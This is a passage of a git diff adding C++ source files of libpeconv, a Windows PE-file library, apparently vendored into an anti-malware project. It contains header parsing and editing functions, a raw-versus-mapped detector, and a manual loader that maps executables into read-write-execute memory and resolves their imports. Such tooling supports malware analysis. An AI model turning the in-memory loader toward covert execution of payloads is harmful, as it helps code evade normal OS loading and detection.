pe_offset); + if (buffer_size != 0) { + if (!peconv::validate_ptr((LPVOID)pe_buffer, buffer_size, (LPVOID)inh, sizeof(IMAGE_NT_HEADERS32))) { + return nullptr; + } + } + if (IsBadReadPtr(inh, sizeof(IMAGE_NT_HEADERS32))) { + return nullptr; + } + if (inh->Signature != IMAGE_NT_SIGNATURE) { + return nullptr; + } + return (BYTE*)inh; +} + +IMAGE_NT_HEADERS32* peconv::get_nt_hdrs32(IN const BYTE *payload) +{ + if (!payload) return nullptr; + + BYTE *ptr = get_nt_hdrs(payload); + if (!ptr) return nullptr; + + if (!is64bit(payload)) { + return (IMAGE_NT_HEADERS32*)ptr; + } + return nullptr; +} + +IMAGE_NT_HEADERS64* peconv::get_nt_hdrs64(IN const BYTE *payload) +{ + if (payload == nullptr) return nullptr; + + BYTE *ptr = get_nt_hdrs(payload); + if (!ptr) return nullptr; + + if (is64bit(payload)) { + return (IMAGE_NT_HEADERS64*)ptr; + } + return nullptr; +} + +DWORD peconv::get_image_size(IN const BYTE *payload) +{ + if (!get_nt_hdrs(payload)) { + return 0; + } + DWORD image_size = 0; + if (is64bit(payload)) { + IMAGE_NT_HEADERS64* nt64 = get_nt_hdrs64(payload); + image_size = nt64->OptionalHeader.SizeOfImage; + } else { + IMAGE_NT_HEADERS32* nt32 = get_nt_hdrs32(payload); + image_size = nt32->OptionalHeader.SizeOfImage; + } + return image_size; +} + +bool peconv::update_image_size(IN OUT BYTE* payload, IN DWORD image_size) +{ + if (!get_nt_hdrs(payload)) { + return false; + } + if (is64bit(payload)) { + IMAGE_NT_HEADERS64* nt64 = get_nt_hdrs64(payload); + nt64->OptionalHeader.SizeOfImage = image_size; + } + else { + IMAGE_NT_HEADERS32* nt32 = get_nt_hdrs32(payload); + nt32->OptionalHeader.SizeOfImage = image_size; + } + return true; +} + +WORD peconv::get_nt_hdr_architecture(IN const BYTE *pe_buffer) +{ + void *ptr = get_nt_hdrs(pe_buffer); + if (!ptr) return 0; + + IMAGE_NT_HEADERS32 *inh = static_cast(ptr); + if (IsBadReadPtr(inh, sizeof(IMAGE_NT_HEADERS32))) { + return 0; + } + return inh->OptionalHeader.Magic; +} + +bool peconv::is64bit(IN const BYTE *pe_buffer) +{ + WORD arch = get_nt_hdr_architecture(pe_buffer); + if (arch == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { + return true; + } + return false; +} + +IMAGE_DATA_DIRECTORY* peconv::get_directory_entry(IN const BYTE *pe_buffer, IN DWORD dir_id, IN bool allow_empty) +{ + if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return nullptr; + + BYTE* nt_headers = get_nt_hdrs((BYTE*)pe_buffer); + if (!nt_headers) return nullptr; + + IMAGE_DATA_DIRECTORY* peDir = nullptr; + if (is64bit(pe_buffer)) { + IMAGE_NT_HEADERS64* nt_headers64 = (IMAGE_NT_HEADERS64*)nt_headers; + peDir = &(nt_headers64->OptionalHeader.DataDirectory[dir_id]); + } + else { + IMAGE_NT_HEADERS32* nt_headers64 = (IMAGE_NT_HEADERS32*)nt_headers; + peDir = &(nt_headers64->OptionalHeader.DataDirectory[dir_id]); + } + if (!allow_empty && peDir->VirtualAddress == NULL) { + return nullptr; + } + return peDir; +} + +ULONGLONG peconv::get_image_base(IN const BYTE *pe_buffer) +{ + bool is64b = is64bit(pe_buffer); + //update image base in the written content: + BYTE* payload_nt_hdr = get_nt_hdrs(pe_buffer); + if (!payload_nt_hdr) { + return 0; + } + ULONGLONG img_base = 0; + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + img_base = payload_nt_hdr64->OptionalHeader.ImageBase; + } else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + img_base = static_cast(payload_nt_hdr32->OptionalHeader.ImageBase); + } + return img_base; +} + +DWORD peconv::get_entry_point_rva(IN const BYTE *pe_buffer) +{ + bool is64b = is64bit(pe_buffer); + //update image base in the written content: + BYTE* payload_nt_hdr = get_nt_hdrs(pe_buffer); + if (!payload_nt_hdr) { + return 0; + } + DWORD value = 0; + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + value = payload_nt_hdr64->OptionalHeader.AddressOfEntryPoint; + } else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + value = payload_nt_hdr32->OptionalHeader.AddressOfEntryPoint; + } + return value; +} + +bool peconv::update_entry_point_rva(IN OUT BYTE *pe_buffer, IN DWORD value) +{ + bool is64b = is64bit(pe_buffer); + //update image base in the written content: + BYTE* payload_nt_hdr = get_nt_hdrs(pe_buffer); + if (!payload_nt_hdr) { + return false; + } + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + payload_nt_hdr64->OptionalHeader.AddressOfEntryPoint = value; + } else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + payload_nt_hdr32->OptionalHeader.AddressOfEntryPoint = value; + } + return true; +} + +DWORD peconv::get_hdrs_size(IN const BYTE *pe_buffer) +{ + bool is64b = is64bit(pe_buffer); + BYTE* payload_nt_hdr = get_nt_hdrs(pe_buffer); + if (!payload_nt_hdr) { + return 0; + } + DWORD hdrs_size = 0; + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + hdrs_size = payload_nt_hdr64->OptionalHeader.SizeOfHeaders; + } else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + hdrs_size = payload_nt_hdr32->OptionalHeader.SizeOfHeaders; + } + return hdrs_size; +} + +bool peconv::update_image_base(IN OUT BYTE* payload, IN ULONGLONG destImageBase) +{ + bool is64b = is64bit(payload); + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (!payload_nt_hdr) { + return false; + } + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + payload_nt_hdr64->OptionalHeader.ImageBase = (ULONGLONG)destImageBase; + } + else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + payload_nt_hdr32->OptionalHeader.ImageBase = (DWORD)destImageBase; + } + return true; +} + +template +inline const IMAGE_FILE_HEADER* fetch_file_hdr(IN const BYTE* payload, IN const size_t buffer_size, IN const IMAGE_NT_HEADERS_T *payload_nt_hdr) +{ + if (!payload || !payload_nt_hdr) return nullptr; + + const IMAGE_FILE_HEADER *fileHdr = &(payload_nt_hdr->FileHeader); + + if (!validate_ptr((const LPVOID)payload, buffer_size, (const LPVOID)fileHdr, sizeof(IMAGE_FILE_HEADER))) { + return nullptr; + } + return fileHdr; +} + +const IMAGE_FILE_HEADER* peconv::get_file_hdr(IN const BYTE* payload, IN const size_t buffer_size) +{ + if (!payload) return nullptr; + + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (!payload_nt_hdr) { + return nullptr; + } + if (is64bit(payload)) { + return fetch_file_hdr(payload, buffer_size, (IMAGE_NT_HEADERS64*)payload_nt_hdr); + } + return fetch_file_hdr(payload, buffer_size, (IMAGE_NT_HEADERS32*)payload_nt_hdr); +} + +template +inline const LPVOID fetch_opt_hdr(IN const BYTE* payload, IN const size_t buffer_size, IN const IMAGE_NT_HEADERS_T *payload_nt_hdr) +{ + if (!payload) return nullptr; + + const IMAGE_FILE_HEADER *fileHdr = fetch_file_hdr(payload, buffer_size, payload_nt_hdr); + if (!fileHdr) { + return nullptr; + } + const LPVOID opt_hdr = (const LPVOID) &(payload_nt_hdr->OptionalHeader); + const size_t opt_size = fileHdr->SizeOfOptionalHeader; + if (!validate_ptr((const LPVOID)payload, buffer_size, opt_hdr, opt_size)) { + return nullptr; + } + return opt_hdr; +} + +LPVOID peconv::get_optional_hdr(IN const BYTE* payload, IN const size_t buffer_size) +{ + if (!payload) return nullptr; + + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + const IMAGE_FILE_HEADER* fileHdr = get_file_hdr(payload, buffer_size); + if (!payload_nt_hdr || !fileHdr) { + return nullptr; + } + if (is64bit(payload)) { + return fetch_opt_hdr(payload,buffer_size, (IMAGE_NT_HEADERS64*)payload_nt_hdr); + } + return fetch_opt_hdr(payload, buffer_size, (IMAGE_NT_HEADERS32*)payload_nt_hdr); +} + +template +inline LPVOID fetch_section_hdrs_ptr(IN const BYTE* payload, IN const size_t buffer_size, IN const IMAGE_NT_HEADERS_T *payload_nt_hdr) +{ + const IMAGE_FILE_HEADER *fileHdr = fetch_file_hdr(payload, buffer_size, payload_nt_hdr); + if (!fileHdr) { + return nullptr; + } + const size_t opt_size = fileHdr->SizeOfOptionalHeader; + BYTE* opt_hdr = (BYTE*)fetch_opt_hdr(payload, buffer_size, payload_nt_hdr); + if (!validate_ptr((const LPVOID)payload, buffer_size, opt_hdr, opt_size)) { + return nullptr; + } + //sections headers starts right after the end of the optional header + return (LPVOID)(opt_hdr + opt_size); +} + +size_t peconv::get_sections_count(IN const BYTE* payload, IN const size_t buffer_size) +{ + const IMAGE_FILE_HEADER* fileHdr = get_file_hdr(payload, buffer_size); + if (!fileHdr) { + return 0; + } + return fileHdr->NumberOfSections; +} + +bool peconv::is_valid_sections_hdr_offset(IN const BYTE* buffer, IN const size_t buffer_size) +{ + size_t sec_count = peconv::get_sections_count(buffer, buffer_size); + if (sec_count == 0) { + //no sections found - a valid PE should have at least one section + return false; + } + PIMAGE_SECTION_HEADER last_hdr = get_section_hdr(buffer, buffer_size, sec_count - 1); + if (!last_hdr) { + //could not fetch the last section + return false; + } + return true; +} + +PIMAGE_SECTION_HEADER peconv::get_section_hdr(IN const BYTE* payload, IN const size_t buffer_size, IN size_t section_num) +{ + if (!payload) return nullptr; + + const size_t sections_count = peconv::get_sections_count(payload, buffer_size); + if (section_num >= sections_count) { + return nullptr; + } + + LPVOID nt_hdrs = peconv::get_nt_hdrs(payload); + if (!nt_hdrs) return nullptr; //this should never happened, because the get_sections_count did not fail + + LPVOID secptr = nullptr; + //get the beginning of sections headers: + if (is64bit(payload)) { + secptr = fetch_section_hdrs_ptr(payload, buffer_size, (IMAGE_NT_HEADERS64*)nt_hdrs); + } + else { + secptr = fetch_section_hdrs_ptr(payload, buffer_size, (IMAGE_NT_HEADERS32*)nt_hdrs); + } + //get the section header of given number: + PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)( + (ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * section_num) + ); + //validate pointer: + if (!validate_ptr((const LPVOID) payload, buffer_size, (const LPVOID) next_sec, sizeof(IMAGE_SECTION_HEADER))) { + return nullptr; + } + return next_sec; +} + +WORD peconv::get_file_characteristics(IN const BYTE* payload) +{ + if (!payload) return 0; + + bool is64b = is64bit(payload); + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (!payload_nt_hdr) { + return 0; + } + IMAGE_FILE_HEADER *fileHdr = nullptr; + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + fileHdr = &(payload_nt_hdr64->FileHeader); + } + else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + fileHdr = &(payload_nt_hdr32->FileHeader); + } + return fileHdr->Characteristics; +} + +bool peconv::is_module_dll(IN const BYTE* payload) +{ + if (!payload) return false; + WORD charact = get_file_characteristics(payload); + return ((charact & IMAGE_FILE_DLL) != 0); +} + +WORD peconv::get_dll_characteristics(IN const BYTE* payload) +{ + if (!payload) return 0; + + bool is64b = is64bit(payload); + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (!payload_nt_hdr) { + return 0; + } + WORD charact = 0; + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + charact = payload_nt_hdr64->OptionalHeader.DllCharacteristics; + } + else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + charact = payload_nt_hdr32->OptionalHeader.DllCharacteristics; + } + return charact; +} + +bool peconv::set_subsystem(IN OUT BYTE* payload, IN WORD subsystem) +{ + if (!payload) return false; + + bool is64b = is64bit(payload); + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (!payload_nt_hdr) { + return false; + } + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + payload_nt_hdr64->OptionalHeader.Subsystem = subsystem; + } else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + payload_nt_hdr32->OptionalHeader.Subsystem = subsystem; + } + return true; +} + +WORD peconv::get_subsystem(IN const BYTE* payload) +{ + if (!payload) return 0; + + bool is64b = is64bit(payload); + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (payload_nt_hdr == NULL) { + return 0; + } + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + return payload_nt_hdr64->OptionalHeader.Subsystem; + } else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + return payload_nt_hdr32->OptionalHeader.Subsystem; + } +} + +bool peconv::has_relocations(IN const BYTE *pe_buffer) +{ + IMAGE_DATA_DIRECTORY* relocDir = get_directory_entry(pe_buffer, IMAGE_DIRECTORY_ENTRY_BASERELOC); + if (!relocDir) { + return false; + } + return true; +} + +IMAGE_EXPORT_DIRECTORY* peconv::get_export_directory(IN HMODULE modulePtr) +{ + return get_type_directory(modulePtr, IMAGE_DIRECTORY_ENTRY_EXPORT); +} + + +IMAGE_COR20_HEADER * peconv::get_dotnet_hdr(IN const BYTE* module, IN size_t const module_size, IN const IMAGE_DATA_DIRECTORY * dotNetDir) +{ + DWORD rva = dotNetDir->VirtualAddress; + DWORD hdr_size = dotNetDir->Size; + if (!peconv::validate_ptr(module, module_size, module + rva, hdr_size)) { + return nullptr; + } + IMAGE_COR20_HEADER *dnet_hdr = (IMAGE_COR20_HEADER*)(module + rva); + if (!peconv::validate_ptr(module, module_size, module + dnet_hdr->MetaData.VirtualAddress, dnet_hdr->MetaData.Size)) { + return nullptr; + } + DWORD* signature_ptr = (DWORD*)(module + dnet_hdr->MetaData.VirtualAddress); + const DWORD dotNetSign = 0x424A5342; + if (*signature_ptr != dotNetSign) { + //invalid header + return nullptr; + } + return dnet_hdr; +} + +template +DWORD* _get_sec_alignment_ptr(const BYTE* modulePtr, bool is_raw) +{ + IMAGE_NT_HEADERS_T* hdrs = reinterpret_cast(peconv::get_nt_hdrs(modulePtr)); + if (!hdrs) return nullptr; + if (is_raw) { + return &hdrs->OptionalHeader.FileAlignment; + } + return &hdrs->OptionalHeader.SectionAlignment; +} + +DWORD peconv::get_sec_alignment(IN const BYTE* modulePtr, IN bool is_raw) +{ + DWORD* alignment = 0; + if (peconv::is64bit(modulePtr)) { + alignment = _get_sec_alignment_ptr(modulePtr, is_raw); + } else { + alignment = _get_sec_alignment_ptr(modulePtr, is_raw); + } + if (!alignment) return 0; + return *alignment; +} + +bool peconv::set_sec_alignment(IN OUT BYTE* modulePtr, IN bool is_raw, IN DWORD new_alignment) +{ + DWORD* alignment = 0; + if (peconv::is64bit(modulePtr)) { + alignment = _get_sec_alignment_ptr(modulePtr, is_raw); + } + else { + alignment = _get_sec_alignment_ptr(modulePtr, is_raw); + } + if (!alignment) return false; + + *alignment = new_alignment; + return true; +} + +DWORD peconv::get_virtual_sec_size(IN const BYTE* pe_hdr, IN const PIMAGE_SECTION_HEADER sec_hdr, IN bool rounded) +{ + if (!pe_hdr || !sec_hdr) { + return 0; + } + if (!rounded) { + return sec_hdr->Misc.VirtualSize;; + } + //TODO: calculate real size, round up to Virtual Alignment + DWORD alignment = peconv::get_sec_alignment((const PBYTE)pe_hdr, false); + DWORD vsize = sec_hdr->Misc.VirtualSize; + + DWORD units = vsize / alignment; + if ((vsize % alignment) > 0) units++; + + vsize = units * alignment; + + DWORD image_size = peconv::get_image_size(pe_hdr); + //if it is bigger than the image size, use the size from the headers + if ((sec_hdr->VirtualAddress + vsize) > image_size) { + vsize = sec_hdr->Misc.VirtualSize; + } + return vsize; +} + +PIMAGE_SECTION_HEADER peconv::get_last_section(IN const PBYTE pe_buffer, IN size_t pe_size, IN bool is_raw) +{ + SIZE_T module_end = peconv::get_hdrs_size(pe_buffer); + const size_t sections_count = peconv::get_sections_count(pe_buffer, pe_size); + if (sections_count == 0) { + return nullptr; + } + PIMAGE_SECTION_HEADER last_sec = nullptr; + //walk through sections + for (size_t i = 0; i < sections_count; i++) { + PIMAGE_SECTION_HEADER sec = peconv::get_section_hdr(pe_buffer, pe_size, i); + if (!sec) break; + + size_t new_end = is_raw ? (sec->PointerToRawData + sec->SizeOfRawData) : (sec->VirtualAddress + sec->Misc.VirtualSize); + if (new_end > module_end) { + module_end = new_end; + last_sec = sec; + } + } + return last_sec; +} + +DWORD peconv::calc_pe_size(IN const PBYTE pe_buffer, IN size_t pe_size, IN bool is_raw) +{ + DWORD module_end = peconv::get_hdrs_size(pe_buffer); + const size_t sections_count = peconv::get_sections_count(pe_buffer, pe_size); + if (sections_count == 0) { + return module_end; + } + //walk through sections + for (size_t i = 0; i < sections_count; i++) { + PIMAGE_SECTION_HEADER sec = peconv::get_section_hdr(pe_buffer, pe_size, i); + if (!sec) break; + + DWORD new_end = is_raw ? (sec->PointerToRawData + sec->SizeOfRawData) : (sec->VirtualAddress + sec->Misc.VirtualSize); + if (new_end > module_end) module_end = new_end; + } + return module_end; +} + +bool peconv::is_valid_sectons_alignment(IN const BYTE* payload, IN const SIZE_T payload_size, IN bool is_raw) +{ + if (payload == NULL) return false; + + const DWORD my_align = peconv::get_sec_alignment(payload, is_raw); + if (my_align == 0) { +#ifdef _DEBUG + std::cout << "Section alignment cannot be 0\n"; +#endif + return false; + } + const size_t sections_count = peconv::get_sections_count(payload, payload_size); + if (sections_count == 0) { + //no sections + return false; + } + for (size_t i = 0; i < sections_count; i++) { + PIMAGE_SECTION_HEADER next_sec = peconv::get_section_hdr(payload, payload_size, i); + if (!next_sec) return false; //the number of the sections in header is out of scope + + const DWORD next_sec_addr = is_raw ? (next_sec->PointerToRawData) : (next_sec->VirtualAddress); + + SIZE_T sec_size = is_raw ? next_sec->SizeOfRawData : next_sec->Misc.VirtualSize; + if (sec_size == 0) continue; + if (next_sec->Misc.VirtualSize == 0) { + continue; // if the VirtualSize == 0 the section will not be mapped anyways + } + if (next_sec_addr == 0) { + //if cannot be 0 if the size is not 0 + return false; + } + + //check only if raw_align is non-zero + if (my_align && next_sec_addr % my_align != 0) { +#ifdef _DEBUG + std::cout << "Section is misaligned\n"; +#endif + return false; //misaligned + } + } + return true; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/pe_loader.cpp b/ai_anti_malware/libpeconv/libpeconv/src/pe_loader.cpp new file mode 100644 index 0000000..e1720fe --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/pe_loader.cpp @@ -0,0 +1,122 @@ +#include "peconv/pe_loader.h" + +#include "peconv/relocate.h" +#include "peconv/imports_loader.h" +#include "peconv/buffer_util.h" +#include "peconv/function_resolver.h" +#include "peconv/exports_lookup.h" + +#include + +using namespace peconv; + +namespace peconv { + BYTE* load_no_sec_pe(BYTE* dllRawData, size_t r_size, OUT size_t &v_size, bool executable) + { + ULONGLONG desired_base = 0; + size_t out_size = (r_size < PAGE_SIZE) ? PAGE_SIZE : r_size; + if (executable) { + desired_base = get_image_base(dllRawData); + out_size = peconv::get_image_size(dllRawData); + } + DWORD protect = (executable) ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE; + BYTE* mappedPE = peconv::alloc_pe_buffer(out_size, protect, desired_base); + if (!mappedPE) { + return NULL; + } + memcpy(mappedPE, dllRawData, r_size); + v_size = out_size; + return mappedPE; + } +}; + +BYTE* peconv::load_pe_module(BYTE* dllRawData, size_t r_size, OUT size_t &v_size, bool executable, bool relocate) +{ + if (!peconv::get_nt_hdrs(dllRawData)) { + return NULL; + } + if (peconv::get_sections_count(dllRawData, r_size) == 0) { + return load_no_sec_pe(dllRawData, r_size, v_size, executable); + } + // by default, allow to load the PE at any base: + ULONGLONG desired_base = NULL; + // if relocating is required, but the PE has no relocation table... + if (relocate && !has_relocations(dllRawData)) { + // ...enforce loading the PE image at its default base (so that it will need no relocations) + desired_base = get_image_base(dllRawData); + } + // load a virtual image of the PE file at the desired_base address (random if desired_base is NULL): + BYTE *mappedDLL = pe_raw_to_virtual(dllRawData, r_size, v_size, executable, desired_base); + if (mappedDLL) { + //if the image was loaded at its default base, relocate_module will return always true (because relocating is already done) + if (relocate && !relocate_module(mappedDLL, v_size, (ULONGLONG)mappedDLL)) { + // relocating was required, but it failed - thus, the full PE image is useless + printf("Could not relocate the module!"); + free_pe_buffer(mappedDLL, v_size); + mappedDLL = NULL; + } + } else { + printf("Could not allocate memory at the desired base!\n"); + } + return mappedDLL; +} + +BYTE* peconv::load_pe_module(const char *filename, OUT size_t &v_size, bool executable, bool relocate) +{ + size_t r_size = 0; + BYTE *dllRawData = load_file(filename, r_size); + if (!dllRawData) { +#ifdef _DEBUG + std::cerr << "Cannot load the file: " << filename << std::endl; +#endif + return NULL; + } + BYTE* mappedPE = load_pe_module(dllRawData, r_size, v_size, executable, relocate); + free_pe_buffer(dllRawData); + return mappedPE; +} + +BYTE* peconv::load_pe_executable(BYTE* dllRawData, size_t r_size, OUT size_t &v_size, t_function_resolver* import_resolver) +{ + BYTE* loaded_pe = load_pe_module(dllRawData, r_size, v_size, true, true); + if (!loaded_pe) { + printf("[-] Loading failed!\n"); + return NULL; + } +#if _DEBUG + printf("Loaded at: %p\n", loaded_pe); +#endif + if (has_valid_import_table(loaded_pe, v_size)) { + if (!load_imports(loaded_pe, import_resolver)) { + printf("[-] Loading imports failed!"); + free_pe_buffer(loaded_pe, v_size); + return NULL; + } + } + else { + printf("[-] PE doesn't have a valid Import Table!\n"); + } + return loaded_pe; +} + + +BYTE* peconv::load_pe_executable(const char *my_path, OUT size_t &v_size, t_function_resolver* import_resolver) +{ +#if _DEBUG + printf("Module: %s\n", my_path); +#endif + BYTE* loaded_pe = load_pe_module(my_path, v_size, true, true); + if (!loaded_pe) { + printf("Loading failed!\n"); + return NULL; + } +#if _DEBUG + printf("Loaded at: %p\n", loaded_pe); +#endif + if (!load_imports(loaded_pe, import_resolver)) { + printf("[-] Loading imports failed!"); + free_pe_buffer(loaded_pe, v_size); + return NULL; + } + return loaded_pe; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/pe_mode_detector.cpp b/ai_anti_malware/libpeconv/libpeconv/src/pe_mode_detector.cpp new file mode 100644 index 0000000..13fb75e --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/pe_mode_detector.cpp @@ -0,0 +1,205 @@ +#include "peconv/pe_mode_detector.h" +#include "peconv/util.h" +#include "peconv/imports_loader.h" +#include "peconv/relocate.h" + +#ifdef _DEBUG +#include +#endif + +// Check if gaps between sections are typical for Virtual Alignment. +// Returns true if confirmed, false if not confirmed. False result can also mean that data was invalid/insufficient to decide. +bool is_virtual_padding(const BYTE* pe_buffer, size_t pe_size) +{ + const size_t r_align = peconv::get_sec_alignment((PBYTE)pe_buffer, true); + + size_t sections_count = peconv::get_sections_count(pe_buffer, pe_size); + if (sections_count < 2) return false; + + bool is_valid_padding = false; + for (size_t i = 1; i < sections_count; i += 2) { + PIMAGE_SECTION_HEADER sec1 = peconv::get_section_hdr(pe_buffer, pe_size, i-1); + PIMAGE_SECTION_HEADER sec2 = peconv::get_section_hdr(pe_buffer, pe_size, i); + if (!sec1 || !sec2) continue; //skip if fetching any of the sections failed + + if (sec1->SizeOfRawData == 0) continue; //skip empty sections + + const DWORD sec1_end_offset = sec1->VirtualAddress + sec1->SizeOfRawData; + if (sec2->VirtualAddress == sec1_end_offset) continue; + + if (sec2->VirtualAddress < sec1_end_offset) { + //std::cout << "Invalid size of the section: " << std::hex << sec2->VirtualAddress << " vs "<< sec1_end_offset << std::endl; + return false; + } + const size_t diff = sec2->VirtualAddress - sec1_end_offset; + if (diff < r_align) continue; //to small to determine + + BYTE* sec1_end_ptr = (BYTE*)((ULONGLONG)pe_buffer + sec1_end_offset); + if (!peconv::validate_ptr((const LPVOID)pe_buffer, pe_size, sec1_end_ptr, diff)) { + //std::cout << "Invalid pointer to the section\n"; + return false; + } + if (peconv::is_padding(sec1_end_ptr, diff, 0)) { + is_valid_padding = true; + } + else { + return false; + } + } + return is_valid_padding; +} + +// Check if the gap between the end of headers and the first section is typical for Virtual Alignment. +// Returns true if confirmed, false if not confirmed. False result can also mean that data was invalid/insufficient to decide. +bool is_hdr_virtual_align(const BYTE* pe_buffer, size_t pe_size) +{ + const size_t v_align = peconv::get_sec_alignment((PBYTE)pe_buffer, false); + if (peconv::get_hdrs_size(pe_buffer) >= v_align) { + //undetermined for such case + return false; + } + //walk through sections and check their sizes + size_t sections_count = peconv::get_sections_count(pe_buffer, pe_size); + if (sections_count == 0) return false; + for (size_t i = 0; i < sections_count; i++) { + PIMAGE_SECTION_HEADER sec = peconv::get_section_hdr(pe_buffer, pe_size, i); + if (!sec || sec->PointerToRawData == 0 || sec->SizeOfRawData == 0) { + continue; // check next + } + if (sec->PointerToRawData >= v_align) continue; + + size_t diff = v_align - sec->PointerToRawData; + BYTE* sec_raw_ptr = (BYTE*)((ULONGLONG)pe_buffer + sec->PointerToRawData); + if (!peconv::validate_ptr((const LPVOID)pe_buffer, pe_size, sec_raw_ptr, diff)) { + return false; + } + if (peconv::is_padding(sec_raw_ptr, diff, 0)) { + return true; + } + } + return false; +} + +bool sec_hdrs_erased(IN const BYTE* pe_buffer, IN size_t pe_size, bool is_raw) +{ + const size_t count = peconv::get_sections_count(pe_buffer, pe_size); + for (size_t i = 0; i < count; i++) { + const IMAGE_SECTION_HEADER* hdr = peconv::get_section_hdr(pe_buffer, pe_size, i); + if (!hdr) continue; + if (is_raw) { + if (hdr->PointerToRawData != 0) return false; + } + else { + if (hdr->VirtualAddress != 0) return false; + } + } + return true; +} + +bool peconv::is_pe_raw_eq_virtual(IN const BYTE* pe_buffer, IN size_t pe_size) +{ + const size_t count = peconv::get_sections_count(pe_buffer, pe_size); + for (size_t i = 0; i < count; i++) { + const IMAGE_SECTION_HEADER* hdr = peconv::get_section_hdr(pe_buffer, pe_size, i); + if (!hdr) continue; + + if (hdr->VirtualAddress != hdr->PointerToRawData) { + return false; + } + } + return true; +} + +bool is_pe_mapped(IN const BYTE* pe_buffer, IN size_t pe_size) +{ + size_t v_score = 0; + if (peconv::has_valid_import_table((const PBYTE)pe_buffer, pe_size)) { +#ifdef _DEBUG + std::cout << "Valid Import Table found" << std::endl; +#endif + v_score++; + } + if (peconv::has_valid_relocation_table((const PBYTE)pe_buffer, pe_size)) { +#ifdef _DEBUG + std::cout << "Valid Relocations Table found" << std::endl; +#endif + v_score++; + } + if (is_hdr_virtual_align(pe_buffer, pe_size)) { +#ifdef _DEBUG + std::cout << "Header virtual align OK" << std::endl; +#endif + v_score++; + } + if (is_virtual_padding(pe_buffer, pe_size)) { +#ifdef _DEBUG + std::cout << "Virtual Padding OK" << std::endl; +#endif + v_score++; + } +#ifdef _DEBUG + std::cout << "TOTAL v_score: " << std::dec << v_score << std::endl; +#endif + if (v_score > 0) { + return true; + } + return false; +} + +bool peconv::is_pe_raw(IN const BYTE* pe_buffer, IN size_t pe_size) +{ + if (peconv::get_sections_count(pe_buffer, pe_size) == 0) { + return true; + } + if (is_pe_mapped(pe_buffer, pe_size)) { + // it has artefacts typical for a PE in a virtual alignment + return false; + } + if (sec_hdrs_erased(pe_buffer, pe_size, true)) { +#ifdef _DEBUG + std::cout << "Raw alignment is erased\n"; +#endif + // the raw alignment of the sections is erased + return false; + } + return true; +} + +// checks if any of the executable sections has been expanded in the memory +bool peconv::is_pe_expanded(IN const BYTE* pe_buffer, IN size_t pe_size) +{ + //walk through sections and check their sizes + size_t sections_count = peconv::get_sections_count(pe_buffer, pe_size); + for (size_t i = 0; i < sections_count; i++) { + PIMAGE_SECTION_HEADER sec = peconv::get_section_hdr(pe_buffer, pe_size, i); + //scan only executable sections + if ((sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0) { + if (is_section_expanded(pe_buffer, pe_size, sec)) { + return true; + } + } + } + return false; +} + +// checks if the section's content in memory is bigger than in the raw format +bool peconv::is_section_expanded(IN const BYTE* pe_buffer, IN size_t pe_size, IN const PIMAGE_SECTION_HEADER sec) +{ + if (!sec) return false; + + size_t sec_vsize = peconv::get_virtual_sec_size(pe_buffer, sec, true); + size_t sec_rsize = sec->SizeOfRawData; + + if (sec_rsize >= sec_vsize) return false; + size_t diff = sec_vsize - sec_rsize; + + BYTE* sec_raw_end_ptr = (BYTE*)((ULONGLONG)pe_buffer + sec->VirtualAddress + sec_rsize); + if (!peconv::validate_ptr((const LPVOID)pe_buffer, pe_size, sec_raw_end_ptr, diff)) { + return false; + } + if (!is_padding(sec_raw_end_ptr, diff, 0)) { + //this is not padding: non-zero content detected + return true; + } + return false; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/pe_raw_to_virtual.cpp 